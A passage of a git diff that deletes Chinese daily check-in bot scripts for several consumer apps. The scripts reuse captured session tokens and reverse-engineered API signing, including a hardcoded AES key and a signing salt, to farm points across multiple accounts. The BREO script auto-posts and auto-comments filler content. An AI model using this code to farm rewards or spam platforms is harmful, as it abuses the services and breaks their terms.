- print(" VALUE: 从浏览器复制的完整Cookie(包含__cfduid, uid等)")
- return
-
- # 青龙面板特殊处理:检测Cookie是否包含必要字段
- if "__cfduid" not in cookie or "uid" not in cookie:
- print("❌ Cookie无效:缺少必要字段(需包含__cfduid和uid)")
- print("💡 请重新复制Cookie:")
- print(" 1. 登录 bbs.360.cn → F12 → Application → Cookies")
- print(" 2. 复制 bbs.360.cn 下的所有Cookie字段")
- return
-
- client = BBS360Checkin(cookie=cookie, timeout=20)
- result = client.run()
-
- # 青龙面板专用输出格式
- if result.ok:
- print(f"✅ 360签到成功 | {result.status} | {result.detail}")
- else:
- print(f"❌ 360签到失败 | {result.status} | {result.detail}")
-
-if __name__ == "__main__":
- main()
\ No newline at end of file
diff --git a/daily/BREO.py b/daily/BREO.py
deleted file mode 100644
index 82ea9a30..00000000
--- a/daily/BREO.py
+++ /dev/null
@@ -1,248 +0,0 @@
-#by:哆啦A梦
-#入口:http://mx.qrurl.net/h5/wxa/link?sid=26407uif5Oq
-#抓包breoplus.breo.cn的域名下的token,多账号换行分割
-#账号变量名:BREO
-#new Env("BREO")
-#cron 8 9,10,11 * * *
-
-
-import requests
-import json
-import os
-import time
-
-def get_random_one_word():
- try:
- response = requests.get("https://uapis.cn/api/say")
- if response.status_code == 200:
- return response.text.strip()
- else:
- return "无法获取一言"
- except Exception as e:
- print(f"获取一言时出错: {e}")
- return "无法获取一言"
-
-def get_proclamation():
- primary_url = "https://github.com/3288588344/toulu/raw/refs/heads/main/tl.txt"
- backup_url = "https://tfapi.cn/TL/tl.json"
- try:
- response = requests.get(primary_url, timeout=10)
- if response.status_code == 200:
- print("\n" + "=" * 50)
- print("📢 公告信息")
- print("=" * 35)
- print(response.text)
- print("=" * 35 + "\n")
- print("公告获取成功,开始执行任务...\n")
- return
- except requests.exceptions.RequestException as e:
- print(f"获取公告时发生错误: {e}, 尝试备用链接...")
-
- try:
- response = requests.get(backup_url, timeout=10)
- if response.status_code == 200:
- print("\n" + "=" * 50)
- print("📢 公告信息")
- print("=" * 35)
- print(response.text)
- print("=" * 35 + "\n")
- print("公告获取成功,开始执行任务...\n")
- else:
- print(f"⚠️ 获取公告失败,状态码: {response.status_code}")
- except requests.exceptions.RequestException as e:
- print(f"⚠️ 获取公告时发生错误: {e}, 可能是网络问题或链接无效。")
-
-def post_to_breo(token, content, title):
- url = "https://breoplus.breo.cn/breo-app/communityBaseInfo/releasePost"
- headers = {
- "token": token,
- "device-type": "Xiaomi",
- "device-version": "10",
- "channel": "Breo",
- "version_code": "30201",
- "version": "3.2.1",
- "encrypt": "1",
- "Content-Type": "application/json; charset=UTF-8"
- }
- data = {
- "anonymoused": 1,
- "content": content,
- "expressText": "",
- "images": [],
- "subTitle": "",
- "title": title,
- "topicText": ""
- }
- try:
- response = requests.post(url, headers=headers, data=json.dumps(data))
- if response.status_code == 200:
- result = response.json()
- if result.get("success", False):
- print("✅ 发帖成功!")
- print(f"帖子 ID: {result['result']['id']}")
- print(f"帖子标题: {result['result']['title']}")
- return result["result"]["id"]
- else:
- print(f"❌ 发帖失败,错误信息:{result.get('message', '未知错误')}")
- return None
- else:
- print(f"❌ 请求失败,状态码:{response.status_code}")
- return None
- except Exception as e:
- print(f"❌ 请求错误: {e}")
- return None
-
-def collect_post(token, post_id):
- url = "https://breoplus.breo.cn/breo-app/communityBaseInfo/collect"
- headers = {
- "token": token,
- "device-type": "Xiaomi",
- "device-version": "10",
- "channel": "Breo",
- "version_code": "30201",
- "version": "3.2.1",
- "encrypt": "1",
- "Content-Type": "application/json; charset=UTF-8"
- }
- data = {
- "postId": post_id
- }
- try:
- response = requests.post(url, headers=headers, data=json.dumps(data))
- if response.status_code == 200:
- result = response.json()
- if result.get("success", False):
- print("✅ 收藏成功!")
- print(f"获得点数: {result['result']['point']}")
- print(f"成长值: {result['result']['grow']}")
- else:
- print(f"❌ 收藏失败,错误信息:{result.get('message', '未知错误')}")
- else:
- print(f"❌ 请求失败,状态码:{response.status_code}")
- except Exception as e:
- print(f"❌ 请求错误: {e}")
-
-def comment_post(token, post_id):
- for _ in range(2): # 评论2次
- comment_content = get_random_one_word() # 使用随机一言作为评论内容
- url = "https://breoplus.breo.cn/breo-app/communityBaseInfo/comment"
- headers = {
- "token": token,
- "device-type": "Xiaomi",
- "device-version": "10",
- "channel": "Breo",
- "version_code": "30201",
- "version": "3.2.1",
- "encrypt": "1",
- "Content-Type": "application/json; charset=UTF-8"
- }
- data = {
- "anonymoused": 0,
- "commentText": comment_content,
- "postId": post_id
- }
- try:
- response = requests.post(url, headers=headers, data=json.dumps(data))
- if response.status_code == 200:
- result = response.json()
- if result.get("success", False):
- print("✅ 评论成功!")
- print(f"评论内容: {result['result']['rootOutVO']['commentText']}")
- print(f"获得点数: {result['result']['point']}")
- print(f"成长值: {result['result']['grow']}")
- else:
- print(f"❌ 评论失败,错误信息:{result.get('message', '未知错误')}")
- else:
- print(f"❌ 请求失败,状态码:{response.status_code}")
- except Exception as e:
- print(f"❌ 请求错误: {e}")
- time.sleep(1) # 避免频繁请求
-
-def browse_mall(token):
- url = "https://breoplus.breo.cn/breo-app/user/po-task-info/mall"
- headers = {
- "token": token,
- "device-type": "Xiaomi",
- "device-version": "10",
- "channel": "Breo",
- "version_code": "30201",
- "version": "3.2.1",
- "encrypt": "1"
- }
- try:
- response = requests.post(url, headers=headers)
- if response.status_code == 200:
- result = response.json()
- if result.get("success", False):
- print("✅ 浏览商城成功!")
- print(f"获得点数: {result['result']['point']}")
- print(f"成长值: {result['result']['grow']}")
- else:
- print(f"❌ 浏览商城失败,错误信息:{result.get('message', '未知错误')}")
- else:
- print(f"❌ 请求失败,状态码:{response.status_code}")
- except Exception as e:
- print(f"❌ 请求错误: {e}")
-
-def punch_in(token):
- url = "https://breoplus.breo.cn/breo-app/user/po-task-info/punch"
- headers = {
- "Host": "breoplus.breo.cn",
- "Connection": "keep-alive",
- "Content-Length": "0",
- "content-type": "application/json",
- "token": token,
- "charset": "utf-8",
- "Referer": "https://servicewechat.com/wx61457400e4212cec/304/page-frame.html",
- "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 XWEB/1340043 MMWEBSDK/20241202 MMWEBID/3628 MicroMessenger/8.0.56.2800(0x2800385E) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android",
- "Accept-Encoding": "gzip, deflate, br"
- }
- try:
- response = requests.post(url, headers=headers)
- if response.status_code == 200:
- result = response.json()
- if result.get("success", False):
- print("✅ 签到成功!")
- print(f"获得点数: {result['result']['point']}")
- print(f"成长值: {result['result']['grow']}")
- else:
- print(f"❌ 签到失败,错误信息:{result.get('message', '未知错误')}")
- else:
- print(f"❌ 请求失败,状态码:{response.status_code}")
- except Exception as e:
- print(f"❌ 请求错误: {e}")
-
-if __name__ == "__main__":
- # 获取公告
- #get_proclamation()
-
- # 从环境变量读取 token
- tokens = os.getenv("BREO", "").splitlines()
-
- if not tokens:
- print("❌ 未检测到 账号信息,退出脚本。")
- else:
- print("=============== 开始执行任务 ===============")
- for i, token in enumerate(tokens, 1):
- if token.strip(): # 跳过空行
- print(f"\n-------------- 账号 {i} 开始 --------------")
- print("🚀 正在签到...")
- punch_in(token)
-
- print("\n📝 正在发布帖子...")
- post_id = post_to_breo(token, "这是一个自动发布的帖子", "自动化测试")
- if post_id:
- print("\n⭐ 正在收藏帖子...")
- collect_post(token, post_id)
-
- print("\n💬 正在评论帖子...")
- comment_post(token, post_id)
- else:
- print("❌ 发帖失败,跳过后续操作。")
-
- print("\n🛒 正在浏览商城...")
- browse_mall(token)
-
- print(f"-------------- 账号 {i} 结束 --------------")
-
- print("\n=============== 所有任务执行完毕 ===============")
\ No newline at end of file
diff --git a/daily/README.md b/daily/README.md
deleted file mode 100644
index 66cb44d7..00000000
--- a/daily/README.md
+++ /dev/null
@@ -1 +0,0 @@
-#主要是吃的喝的一些兑换券和实物 日用品之类的
diff --git a/daily/aima.js b/daily/aima.js
deleted file mode 100644
index 207e2c2b..00000000
--- a/daily/aima.js
+++ /dev/null
@@ -1,122 +0,0 @@
-/*
-爱玛会员俱乐部 - 自动签到脚本(2026年2月修复版)
-✅ 修复点:使用域名替代失效IP,更新活动ID为100001180
-✅ 支持环境:Node.js
-✅ 变量名:aima
-✅ 变量值:access-token(支持多账号,用 & 或换行分隔)
-*/
-const { Env } = require("../tools/env")
-const $ = new Env("爱玛会员俱乐部");
-const axios = require('axios')
-
-// ================== 配置区 ==================
-const ACTIVITY_ID = "100001192"; // 2026年2月活动ID
-const BASE_URL = "https://scrm.aimatech.com"; // 使用官方域名,不再硬编码IP
-const APP_ID = "scrm";
-const USER_AGENT = "Mozilla/5.0 (Linux; Android 15; 23013RK75C Build/AQ3A.250226.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/142.0.7444.173 Mobile Safari/537.36 XWEB/1420229 MMWEBSDK/20251101 MMWEBID/6369 MicroMessenger/8.0.67.3000(0x28004333) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android";
-
-// ================== 工具函数 ==================
-function generateUUID() {
- return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) {
- const r = Math.random() * 16 | 0;
- const v = c === 'x' ? r : (r & 0x3 | 0x8);
- return v.toString(16);
- });
-}
-
-function md5(str) {
- const crypto = require('crypto');
- return crypto.createHash('md5').update(str).digest('hex');
-}
-
-// ================== 核心逻辑 ==================
-async function signIn(token, index) {
- try {
- const timestamp = Date.now();
- const traceLogId = generateUUID();
-
- // 构造通用请求头
- const headers = {
- "App-Id": APP_ID,
- "Time-Stamp": timestamp.toString(),
- "TraceLog-Id": traceLogId,
- "Access-Token": token.trim(),
- "content-type": "application/json",
- "User-Agent": USER_AGENT,
- "charset": "utf-8",
- "Referer": "https://servicewechat.com/wx2dcfb409fd5ddfb4/215/page-frame.html"
- };
-
- // 生成签名(按规则拼接)
- const signStr = `${APP_ID}${timestamp}${traceLogId}${token.trim()}AimaScrm321_^`;
- headers["Sign"] = md5(signStr).toLowerCase();
-
- // 1. 查询签到状态
- $.log(`🚀 账号【${index}】查询签到状态...`);
- const searchRes = await axios.post(
- `${BASE_URL}/aima/wxclient/mkt/activities/sign:search`,
- { activityId: ACTIVITY_ID },
- { headers, timeout: 10000 }
- );
-
- const data = searchRes.data;
- if (data.content && data.content.signed === 1) {
- $.log(`✅ 账号【${index}】今日已签到!`);
- return;
- }
-
- // 2. 执行签到
- $.log(`⏳ 账号【${index}】正在签到...`);
- const joinRes = await axios.post(
- `${BASE_URL}/aima/wxclient/mkt/activities/sign:join`,
- { activityId: ACTIVITY_ID, activitySceneId: null },
- { headers, timeout: 10000 }
- );
-
- if (joinRes.data.code === 200 || joinRes.data.code === 0) {
- const point = joinRes.data.content?.point || 10;
- $.log(`🎉 账号【${index}】签到成功!获得 ${point} 积分`);
- } else {
- throw new Error(`签到失败: ${JSON.stringify(joinRes.data)}`);
- }
-
- } catch (e) {
- throw new Error(e.message || e);
- }
-}
-
-// ================== 主函数 ==================
-!(async () => {
- console.log(`\n🔔 爱玛会员俱乐部, 开始!`);
-
- // 获取 access-token(支持多账号)
- let tokens = [];
- if ($.isNode()) {
- const env = process.env.aima;
- if (env) {
- tokens = env.split(/&|\n/).filter(t => t.trim());
- }
- }
-
- if (tokens.length === 0) {
- $.msg("❌ 未找到 access-token,请配置变量 'aima'");
- return;
- }
-
- console.log(`共找到${tokens.length}个账号`);
-
- for (let i = 0; i < tokens.length; i++) {
- try {
- console.log(`\n🚀 user:【${i + 1}】 start work`);
- await signIn(tokens[i], i + 1);
- } catch (e) {
- console.log(`❌ 账号【${i + 1}】执行失败: ${e.message}`);
- }
- }
-
- // 发送通知
- //await $.sendMsg($.logs.join("\n"));
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
diff --git a/daily/aliyunpan.py b/daily/aliyunpan.py
deleted file mode 100644
index d625f486..00000000
--- a/daily/aliyunpan.py
+++ /dev/null
@@ -1,152 +0,0 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-"""
-new Env('阿里云盘签到');
-cron: 10 6,18 * * *
-
-环境变量说明:
-变量名: ALIYUN_ACCOUNTS
-格式: refresh_token#备注名 & refresh_token2#备注名2
-提示: 多个账号用 & 或 换行 分隔;内部参数用 # 分隔。
-进入网页端阿里云盘,按 F12 打开开发者工具,打开控制台输入JSON.parse(localStorage.getItem("token")).refresh_token 然后拼接#备注名即可,例如:
-"""
-
-import os
-import re
-import time
-import logging
-import requests
-import random
-from typing import Dict
-
-# ==================== 日志配置 ====================
-logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
-logger = logging.getLogger("AliYun")
-
-# ==================== 核心逻辑 ====================
-class ALiYun:
- def __init__(self, name: str, refresh_token: str):
- self.session = requests.Session()
- self.name = name
- self.refresh_token = refresh_token
- self.access_token = ""
- self.headers = {
- "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 AlphaDrive/3.0.0",
- "Content-Type": "application/json; charset=utf-8"
- }
-
- def _refresh_access_token(self) -> bool:
- """刷新 access_token"""
- url = 'https://auth.aliyundrive.com/v2/account/token'
- payload = {'grant_type': 'refresh_token', 'refresh_token': self.refresh_token}
- try:
- res = self.session.post(url, json=payload, timeout=10).json()
- if 'access_token' in res:
- self.access_token = res['access_token']
- self.refresh_token = res['refresh_token'] # 更新持久化的token
- return True
- logger.error(f"[{self.name}] 刷新 Token 失败: {res.get('message', '未知错误')}")
- return False
- except Exception as e:
- logger.error(f"[{self.name}] 刷新请求异常: {e}")
- return False
-
- def check_in(self) -> Dict:
- """执行签到"""
- url = 'https://member.aliyundrive.com/v1/activity/sign_in_list'
- headers = {**self.headers, "Authorization": f"Bearer {self.access_token}"}
- try:
- res = self.session.post(url, params={'_rx-s': 'mobile'}, json={'isReward': False}, headers=headers, timeout=10).json()
- return res
- except Exception as e:
- return {"success": False, "message": str(e)}
-
- def get_reward(self, day: int) -> str:
- """领取奖励"""
- url = 'https://member.aliyundrive.com/v1/activity/sign_in_reward'
- headers = {**self.headers, "Authorization": f"Bearer {self.access_token}"}
- try:
- res = self.session.post(url, params={'_rx-s': 'mobile'}, json={'signInDay': day}, headers=headers, timeout=10).json()
- return res.get('result', {}).get('notice', res.get('message', '未获取到奖励明细'))
- except Exception:
- return "奖励领取请求异常"
-
- def get_capacity(self) -> str:
- """查询容量"""
- def fmt(s): return f"{s/1024/1024/1024:.2f} GB" if s > 0 else "0 GB"
- url = 'https://api.aliyundrive.com/adrive/v1/user/driveCapacityDetails'
- headers = {**self.headers, "Authorization": f"Bearer {self.access_token}"}
- try:
- res = self.session.post(url, json={}, headers=headers, timeout=10).json()
- return (f"总空间: {fmt(res.get('drive_total_size', 0))}\n"
- f"已用空间: {fmt(res.get('drive_used_size', 0))}")
- except: return "容量查询失败"
-
- def run(self):
- logger.info(f"--- 账号 [{self.name}] 开始签到 ---")
- if not self._refresh_access_token():
- return f"[{self.name}] ❌ 登录失效"
-
- res = self.check_in()
- if not res.get('success'):
- return f"[{self.name}] ❌ 签到失败: {res.get('message')}"
-
- count = res.get('result', {}).get('signInCount', 0)
- reward_info = self.get_reward(count)
- cap_info = self.get_capacity()
-
- msg = (f"【{self.name}】签到成功!\n"
- f"本月累计签到: {count} 天\n"
- f"本次奖励: {reward_info}\n"
- f"{cap_info}")
- return msg
-
-# ==================== 通知逻辑 ====================
-def send_notify(title, content):
- """简易通知,如果有 notify.py 则尝试调用"""
- try:
- from notify import send
- print(title, content)
- except ImportError:
- logger.info("\n--- 通知预览 ---\n" + title + "\n" + content)
-
-# ==================== 主入口 ====================
-def main():
- raw_conf = os.getenv("ALIYUN_ACCOUNTS", "")
- if not raw_conf:
- logger.error("未找到环境变量 ALIYUN_ACCOUNTS")
- return
-
- # 按 & 或 换行 分隔账号
- account_list = re.split(r'[&\n]+', raw_conf.strip())
- final_reports = []
-
- for idx, acc_str in enumerate(account_list):
- if not acc_str.strip(): continue
-
- # 按 # 分隔 token 和 备注
- parts = acc_str.split('#')
- token = parts[0].strip()
- name = parts[1].strip() if len(parts) > 1 else f"账号{idx+1}"
-
- if not token:
- logger.warning(f"账号 {name} 缺少 refresh_token,跳过")
- continue
-
- client = ALiYun(name, token)
- try:
- report = client.run()
- final_reports.append(report)
- except Exception as e:
- logger.error(f"运行异常: {e}")
- final_reports.append(f"[{name}] 运行发生异常")
-
- # 账号间随机延迟
- if idx < len(account_list) - 1:
- time.sleep(random.randint(3, 8))
-
- if final_reports:
- print("阿里云盘签到报告", "\n" + "="*20 + "\n" + "\n\n".join(final_reports))
-
-if __name__ == "__main__":
- main()
\ No newline at end of file
diff --git a/daily/babycare.js b/daily/babycare.js
deleted file mode 100644
index 935be135..00000000
--- a/daily/babycare.js
+++ /dev/null
@@ -1,124 +0,0 @@
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: babycare
-cron: 30 8 * * *
-------------------------------------------
-#Notice:
-微信小程序抓包的https://api.bckid.com.cn请求头authorization
-
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-
-const { Env } = require("../tools/env")
-const $ = new Env("babycare");
-let ckName = `babycare`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(env) {
- this.index = $.userIdx++
- this.user = env.split(strSplitor);
- this.token = this.user[0];
-
- }
-
- async run() {
-
- await this.info()
- await this.signIn()
- }
-
- async signIn() {
- let options = {
- method: 'POST',
- url: `https://api.bckid.com.cn/operation/front/bonus/userSign/v3/sign`,
- headers: {
- 'Host': 'api.bckid.com.cn',
- 'authorization': this.token,
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129',
- },
- data: {
-
- }
- };
- let { data: result } = await axios.request(options);
- if (result?.code == '200') {
- //打印签到结果
- $.log(`🌸账号[${this.index}]` + `🕊当前已签到${result.body.signDaysCountMod}天🎉`);
- } else {
- $.log(`🌸账号[${this.index}] 签到-失败:${result.message}❌`)
- }
-
-
-
-
- }
- async info() {
- let options = {
- url: 'https://api.bckid.com.cn/operation/front/bonus/userBonus/getUserBonus',
- headers: {
- 'Host': 'api.bckid.com.cn',
- 'authorization': this.token,
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129',
- },
- method: 'POST',
- data: {}
- }
- let { data: result } = await axios.request(options);
- if (result?.code == '200') {
- //打印签到结果
- $.log(`🌸账号[${this.index}]` + `🕊账户当前积分[${result.body.userBonus}],历史积分[${result.body.sumBonus}]💰`);
- } else {
- $.log(`🌸账号[${this.index}]积分查询失败:${result.message}❌`)
- }
- }
-
-
-
-
-
-
-
-}
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout:3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) {}
-
-}
\ No newline at end of file
diff --git a/daily/chery.js b/daily/chery.js
deleted file mode 100644
index ca1416dc..00000000
--- a/daily/chery.js
+++ /dev/null
@@ -1,233 +0,0 @@
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: 奇瑞汽车
-cron: 30 8 * * *
-------------------------------------------
-#Notice:
-APP 抓包的登录接口uaa2c.chery.cn 里面的返回的access_token就是环境变量需要的token,多个账号换行或者&
-自助获取变量
-https://logintools.smallfawn.top/chery.html
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-
-const { Env } = require("../tools/env")
-const $ = new Env("奇瑞汽车");
-let ckName = `chery`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-const CryptoJS = require("crypto-js");
-class Task {
- constructor(env) {
- this.index = $.userIdx++
- this.user = env.split(strSplitor);
- this.token = this.user[0];
- this.ckStatus = false;
- this.articleIdList = []
-
- }
- encryptParams(e) {
- const t = CryptoJS.enc.Base64.parse("vVfnp9ozfDQyonMKuqgZUWjtdV+7PtBqtMCwJqz2HKQ=")
- , n = CryptoJS.lib.WordArray.random(16)
- , o = CryptoJS.AES.encrypt(e, t, {
- iv: n,
- mode: CryptoJS.mode.CBC,
- padding: CryptoJS.pad.Pkcs7
- })
- , i = CryptoJS.lib.WordArray.create();
- return i.concat(n),
- i.concat(o.ciphertext),
- CryptoJS.enc.Base64.stringify(i).replace(/\+/g, "-")
- }
-
- async run() {
-
- await this.info()
- if (this.ckStatus == true) {
- await this.signIn()
- await this.contentsList()
- for (let articleId of this.articleIdList) {
- await this.taskShare(articleId)
- }
- }
-
-
- }
-
- async signIn() {
- let options = {
- method: 'POST',
- url: `https://mobile-consumer-sapp.chery.cn/web/event/trigger?encryptParam=${encodeURIComponent(this.encryptParams(`access_token=${this.token}&terminal=3`))}`,
- headers: {
- "user-agent": "Dart/2.19 (dart:io)",
- "appversioncode": "26030901",
- "accept": "application/json, text/plain, */*",
- "appversion": "3.6.9",
- "accept-language": "zh-CN,zh;q=0.9",
- "accept-encoding": "gzip, deflate",
- "host": "mobile-consumer-sapp.chery.cn",
- "content-type": "application/json; charset=UTF-8",
- "agent": "android",
- "encryptflag": "true",
- "request-channel": "app"
- },
- data:
- Buffer.from(this.encryptParams(JSON.stringify({ "eventCode": "SJ10002" })), "utf-8"),
- transformRequest: [(d, headers) => d]
- };
- let { data: result } = await axios.request(options);
- if (result.status == 200) {
- $.log(`✅账号[${this.index}] 【签到】[${result.message}]🎉`);
- } else {
- $.log(`❌账号[${this.index}] 【签到】[${result.message}]`);
- //console.log(result);
- }
-
-
-
-
- }
- async info() {
- let options = {
- method: 'GET',
- url: `https://mobile-consumer-sapp.chery.cn/web/user/current/details?encryptParam=${encodeURIComponent(this.encryptParams(`access_token=${this.token}&terminal=3`))}`,
- headers: {
- "user-agent": "Dart/2.19 (dart:io)",
- "appversioncode": "26030901",
- "accept": "application/json, text/plain, */*",
- "appversion": "3.6.9",
- "accept-language": "zh-CN,zh;q=0.9",
- "accept-encoding": "gzip, deflate",
- "host": "mobile-consumer-sapp.chery.cn",
- "content-type": "application/json; charset=UTF-8",
- "agent": "android",
- "encryptflag": "true",
- "request-channel": "app"
- },
- }
- let { data: result } = await axios.request(options);
- if (result.status == 200) {
- $.log(`✅账号[${this.index}] 【昵称】[${result.data.displayName}] 【积分】[${result.data.pointAccount.payableBalance}]🎉`);
- this.userName = result.data.displayName
- this.userPoint = result.data.pointAccount.payableBalance
- this.ckStatus = true;
- } else {
- $.log(`❌账号[${this.index}] [${result.message}]`);
- this.ckStatus = false;
- //console.log(result);
- }
- }
-
- async taskShare(articleId) {
-
- try {
- let options = {
- method: 'POST',
- url: `https://mobile-consumer-sapp.chery.cn/web/community/contents/${articleId}/share?encryptParams=${this.encryptParams(`access_token=${this.token}&terminal=3`)}`,
- headers: {
- "user-agent": "Dart/2.19 (dart:io)",
- "appversioncode": "26030901",
- "accept": "application/json, text/plain, */*",
- "appversion": "3.6.9",
- "accept-language": "zh-CN,zh;q=0.9",
- "accept-encoding": "gzip, deflate",
- "host": "mobile-consumer-sapp.chery.cn",
- "content-type": "application/json; charset=UTF-8",
- "agent": "android",
- "encryptflag": "true",
- "request-channel": "app"
- },
- data: Buffer.from(this.encryptParams(JSON.stringify({ "contentId": articleId })), "utf-8")
- , transformRequest: [(d, headers) => d]
- }
- let { data: result } = await axios.request(options);
- if (result.status == 200) {
- $.log(`✅账号[${this.index}] 【分享】[${result.message}]🎉`);
- } else {
- $.log(`❌账号[${this.index}] 【分享】[${result.message}]`);
- //console.log(result);
- }
- } catch (e) {
- console.log(e);
- }
- }
- async contentsList() {
-
- try {
- let options = {
- method: 'GET',
- url: `https://mobile-consumer-sapp.chery.cn/web/community/recommend/contents?encryptParam=${encodeURIComponent(this.encryptParams(`pageNo=1&pageSize=10&access_token=${this.token}&terminal=3`))}`,
- headers: {
- "user-agent": "Dart/2.19 (dart:io)",
- "appversioncode": "26030901",
- "accept": "application/json, text/plain, */*",
- "appversion": "3.6.9",
- "accept-language": "zh-CN,zh;q=0.9",
- "accept-encoding": "gzip, deflate",
- "host": "mobile-consumer-sapp.chery.cn",
- "content-type": "application/json; charset=UTF-8",
- "agent": "android",
- "encryptflag": "true",
- "request-channel": "app"
- },
-
- }
-
- let { data: result } = await axios.request(options);
- if (result.status == 200) {
- $.log(`✅账号[${this.index}] 【获取文章】[${result.message}]🎉`);
- this.articleIdList = [result.data.data[0].content.id, result.data.data[1].content.id]
- } else {
- $.log(`❌账号[${this.index}] 【获取文章】[${result.message}]`);
- //console.log(result);
- }
- } catch (e) {
- console.log(e);
- }
- }
-
-
-
-
-
-}
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout:3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) {}
-
-}
\ No newline at end of file
diff --git a/daily/chinaMobile.js b/daily/chinaMobile.js
deleted file mode 100644
index 297f079b..00000000
--- a/daily/chinaMobile.js
+++ /dev/null
@@ -1,114 +0,0 @@
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: 中国移动APP签到
-cron: 30 7 * * *
-------------------------------------------
-#Notice:
-变量名:chinaMobile
-变量值:https://wx.10086.cn/qwhdhub/api/抓COOKIE中的QWHD_SESSION_TOKEN的值,多个账号用&或者换行分隔
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-
